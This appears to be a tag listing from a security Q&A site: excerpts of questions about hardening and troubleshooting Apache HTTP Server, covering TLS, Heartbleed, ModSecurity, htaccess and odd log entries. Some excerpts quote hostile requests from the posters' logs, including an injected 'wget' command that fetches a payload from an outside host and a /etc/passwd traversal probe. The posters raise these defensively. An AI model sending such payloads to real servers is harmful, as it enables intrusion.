Questions about the security of Apache open source software, especially Apache HTTP Server

learn more… | top users | synonyms

5
votes
3answers
977 views

Apache logs, suspicious logging apach0day

today I received this 16X.XXX.XX.77 - - [28/Jul/2014:--:--:--] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 3596 "-" "chroot-apach0day" so with ...
1
vote
1answer
73 views

Running an Open Server (contents are visible)

I'm considering the possibility of running an Open Server, as I would call it, that is, a server where as much of its contents are publicly visible as possible. I would like to give read access to ...
3
votes
3answers
526 views

Shared hosting mail server, Thunderbird and encryption

In spite of much searching on the internet, I can't really get an adequate understanding of this topic, perhaps because it combines multiple elements. As a result, I'm really worried about the state ...
0
votes
2answers
149 views

How to prevent Cookie-Bombs?

Egor Homakov made a nice writeup (Cookie Bomb or let's break the Internet) on how to crash CDNs and other websites with cookies. Although this is a user/browser-side DOS, I'm wondering how one would ...
2
votes
2answers
1k views

Block http HEAD, TRACE, DELETE OR TRACK requests is a valid security feature? [duplicate]

Block http HEAD requests helps us to solidify the safety rules for a Apache webserver or this restriction would be an exaggerated? What kind of vulnerability can be exploited by HEAD method? Tests: ...
1
vote
1answer
268 views

Why are OSX users of my TLS-only site being asked to supply a client certificate?

I purchased a Comodo SSL certificate (OV), and set up the Apache vhost config so that all traffic is forwarded to 443. Intermittently some users are being prompted to supply a client certificate; ...
15
votes
4answers
2k views

(How) Can outsiders discover the pages that are being hosted on my server?

I have a web site hosted from my server. Sometimes, I upload database manipulation scripts to a folder which is three levels deep in the website and run them using my web browser. These scripts ...
2
votes
1answer
1k views

Visitors logs show \x80w\x01\x03\x01 the HNAP1

Can anyone tell me what this means? I'm on Bluehost with a shared server. [ip]71.63.199.72 [url]HNAP1 [size] 134 [status] 401 [method]GET [protocol] HTTP/1.1 [referring url] My server address ...
0
votes
2answers
168 views

how to block ip from head or ping or get or post to webserver (using apache and windows)?

am using apache 2.4.9 latest with windows 7 i am using some modules like limitipconn_module security2_module but using wireshark i get unlimited request to busy my webserver (DOS) from some ip ...
0
votes
1answer
158 views

Apache redirecting to unsecure port

I have setup a test website in order to play around setting up SSL. The website is setup on a Windows host with Apache 2.2.20 with OpenSSL 0.9.8r, MySQL 5.5.37, PHP 5.3.28. The URL to the home page ...
0
votes
2answers
289 views

Clarifying MITM attacks and Digital Certificate requirement

We are running a Portal application for our client with Payment Gateway integrated. Payment gateway uses SSL as it is suppose to be . The concern for me is that our Portal application does not use ...
5
votes
3answers
686 views

Can allowing a web application to move, copy and/or delete files outside of the server root be a security issue?

I am new at using and programming web applications, so I wanted to ask a question. Is it safe to execute os commands like copy and mv and delete from a web app that is running on an apache, or does it ...
2
votes
1answer
703 views

“global” OCSP with Apache mod_ssl / Alternative to -VAfile option Openssl

Context I'm developping my own OCSP responder which signed its ocsp responses with its own self signed certificate caOcspBC.crt. You can find it here : https://github.com/Dinou/ocspResponder I want ...
1
vote
1answer
812 views

Strange bug in ModSecurity with the rule 950901

I have a classic ModSecurity configuration (apt-get...) SecRuleEngine Off SecPcreMatchLimit 1000 SecPcreMatchLimitRecursion 1000 SecAction "phase:1,t:none,nolog,pass, \ ...
-1
votes
1answer
720 views

Prevent URL manipulations including /proc and /etc with fail2ban

I get many attacks on my debian apache server that include URL-manipulations like http://url_on_my_eserver/?username=/etc/passwd How can I block these attacks?
1
vote
1answer
283 views

Is this slowloris attack or not?

IP is hidden in apache log for privacy, except last octet. /billing is our application start page. But it doesn't make sense that it sends POST requests, and get 500 response. Or maybe this is ...
1
vote
4answers
232 views

How to detect credit cards harvested from memory?

Had a chat recently with PCI compliance specialist and got to realize there is a way to steal raw data from Apache / Nginx memory e.g. credit cards. It's called "harvesting" and becomes pretty common. ...
1
vote
0answers
90 views

trackback spotted in multple http errors

[Sun May 11 12:24:46 2014] [error] [client private ip] [X_FORWARDED_FOR 27.159.207.165] Path not found: /contact_us_public.php/trackback/, referer: http://www.mydomain.net/contact_us_public.php Does ...
1
vote
1answer
165 views

How to avoid Heartbleed like problems in the future?

I asked a question on stackoverflow, but guess this site is better suited for it. Idea is to prevent problems when the next buffer overflow bug comes out. In my understanding the problem with ...
4
votes
5answers
469 views

How to secure test/dev environments from outside world?

I would like to set up a security barrier to my test/dev environments. I'm under a more or less typical LAMP on dedicated servers. Thing is, I have some facebook apps, a widget for other devices, and ...
5
votes
3answers
2k views

How to access directories disallowed in robots.txt?

While scanning my website with uniscan it found my robots.txt file which disallows access to /cgi-bin/ and other directories, but they are not accessible in browser. Is there a way to access the ...
0
votes
1answer
157 views

Dangers of PHP uploading word docs into a quarantine

I plan to write a PHP script which will allow web users to upload MS Word formatted docs. Here are the precautions I am taking: Filenames will be created by me (something like YYYY-MM-DD.doc) Files ...
2
votes
2answers
295 views

Is it important to use a slow hash in htpasswd?

It's my understanding that the purpose of .htpasswd files is to restrict access to some files in the server filesystem. If an attacker gains access to it, he probably has access to everything else ...
0
votes
3answers
4k views

How to filter POST requests before they reach PHP on Apache?

I have done URL filtering with .htaccess (using learning and generator), however I am still concerned that any POST request can be submitted to the PHP even there is only one POST form on the website, ...
3
votes
3answers
630 views

Is web app safe in not public folder?

I'am wondering if it's really safe to use this structure of my web application. WEBAPP Application Controllers Models Views ... Framework ... ...
0
votes
1answer
2k views

Apache 2.2 mod_ssl configuration Forward Secrecy/BREACH/BEAST/CRIME

I am looking for mod_ssl configuration which protects against common attacks like Breach, Beast and Crime. I already disabled gzip to avoid Crime but I'm unsure about the others. RC4 should only be ...
19
votes
8answers
3k views

Should a site have SSL if it doesn't have a login form?

We have a site at work that is used for the following: Our homepage, which is just some info and contact info. Job applications are also handled on our site. There is no place where you can login ...
0
votes
2answers
182 views

Does the Heartbleed vulnerability affect signed java applets [closed]

I have a Windows based server that serves a signed JAVA applet. The website isn't secured (HTTP), but all JAVA applets have to be signed now, so the site serves a signed JAVA applet as part of a web ...
1
vote
2answers
892 views

Is Apache serving over HTTP vulnerable to Heartbleed? [duplicate]

I run a server whose only public open port is 80, serving non-encrypted data over HTTP, not HTTPS. Is it affected by Heartbleed?
3
votes
2answers
528 views

Techniques for enumerating enabled apache modules

A common issue noted by security testers is that the Apache web server is reporting a version in headers which is older than the latest available one. This usually leads to CVE listings detailing the ...
2
votes
3answers
973 views

Strange Apache access logs

A site of ours has been targeted by some kind of strange attack and I am trying to work out exactly how it has happening. Basically, the strangest thing is that the logs seem to correspond to entirely ...
2
votes
1answer
695 views

Apache, DocumentRoot and path traversal - /manual/ query

A PCI scanner of a client is current showing a potential path traversal exploit. The document root is set to /home/somefolder/somewebfoldername/ YET, visiting ourwebsite.com/manual shows the Apache ...
0
votes
1answer
440 views

ssl client authentication: check only one certificate VS certs signed from a ca

i'm about to secure a webservice with client authentication. (apache2, mod_ssl, openssl). from what i googled, i found that it's more common to have a ca, which signs the client certs, which will ...
0
votes
1answer
424 views

501 Not Implemented ServerInfo.jsp

I looked at my logs from amazon ec2 instance and found the following lines: 94.177.121.102 - - [29/Mar/2014:08:50:52 +0000] "XGET /web-console/ServerInfo.jsp HTTP/1.0" 501 418 "-" "-" 94.177.121.102 ...
2
votes
4answers
821 views

Generic defense againt SQL injection

This is a little bit of a rant, but there's a real question at the end. I recently installed a new perl script on a site (which will remain nameless) which failed mysteriously with an error 403. ...
14
votes
4answers
974 views

Is displaying what server I am running on the error pages a security risk?

I just noticed that my 403 Forbidden (the default, not a custom one) page displays some server info: Apache/2.2.3 (Red Hat) Server at ... Port 80 Is revealing this information a security risk?
1
vote
1answer
360 views

Have I done enough not be compromised through image uploading

I know that you can never be sure that you have done enough to be secure, and I also know that file uploading is hard to make correct. Before asking this question I read some of the related posts here ...
1
vote
1answer
125 views

How to Minimize Apache Loadable Modules (serving MediaWiki)

According to Guide to the Secure Configuration of Red Hat Enterprise Linux 6, there is this policy: "In certain scenarios, it is beneficial to remove certain httpd modules to limit the functionality ...
0
votes
1answer
65 views

Security implications of putting virtual hosts source code in /var/www/[domain]

A friend pointed out that putting virtual hosts as sub folders of the default /var/www was a bad idea. (linux example path; this applies to all OS) I see that it's possible to reach the virtual hosts ...
2
votes
2answers
577 views

Does reverse proxy between two web servers impact security of both?

Situation: Consider the site: example.com, hosted at web server A. A WordPress blog is to be installed on a different web server, B. In order to route a WordPress installation to a subdirectory on ...
2
votes
1answer
968 views

www-data is sending rogue mails through sendmail. How do I find the source?

So I have a Ubuntu server hosting a PHP-based web site for me. Some of the services rely on sendmail being configured. I have set it up to send through my GMail account. As of yesterday ~19:00 CET, ...
1
vote
0answers
44 views

How to manage security for multiple PC and VM?

I have a firewall VM which creates I have used to setup subnet for different purposes. For example: (fake ips, of course) 1.1.2.1/24 DMZ 1.1.3.1/24 Internal 1.1.5.1/24 security/logging I use ...
0
votes
4answers
375 views

Strange activity on Apache httpd access log [duplicate]

I have set up an Apache/2.2.22 (Debian) Server on my Rasberry Pi. Looking at my access.log, I see a bit of strange activity consisting mostly of GETs, which is quite disconcerting as I am a complete ...
2
votes
0answers
153 views

Verizon wireless router is pinging my web server - is this ok or bad? [closed]

So I'm working from a local cafe, doing some web development, and need to see something in my Apache's access log. And to my surprise, in the log I see, every 30 seconds or so, a request for my root ...
2
votes
1answer
1k views

Is htaccess secure enought to whitelist clients IPs?

I'm using .htaccess to control source IP of connections to my web application. My configuration looks more or less like this: order deny,allow deny from all allow from X.Y.Z.Q These ...
6
votes
1answer
1k views

Why these 2 regexp won't work as expected in ModSecurity?

PROBLEMRULE #1; SecRule REQUEST_URI "^/(|(.*)/)(lpt1|lpt2|lpt3|lpt4)(/|\.|\?|$)" "t:none,t:htmlEntityDecode,t:lowercase,t:removeWhitespace,block,msg:'X',id:'1000'" PROBLEMRULE #2; SecRule REQUEST_URI ...
1
vote
0answers
408 views

Nessus scanner and Red Hat backport security updates

I have asked this question: False positive Apache version in scanner results on Centos I need additional clarification: Do you know if it is possible to configure Nessus to adopt Red Hat backport ...
1
vote
1answer
245 views

Separating Apache and MySQL over Tor for security, performance, and reliability

I'm trying to set up a hidden web service over the Tor network, and I was thinking of making a configuration where my Apache server and my database server are located on different networks. I know ...
1
vote
2answers
529 views

False positive Apache version in scanner results on Centos

Recently I need to care a lot of false positive vulnerabilities in scanner results on Apache version. Example of false positive vulnerability: Apache 2.2 < 2.2.16 Multiple Vulnerabilities Our ...
4
votes
2answers
284 views

If Apache is configured to parse PHP can users see PHP source code?

If Apache is configured to parse PHP and not allow to index files, are there other ways users can see PHP source code, either with or without intention?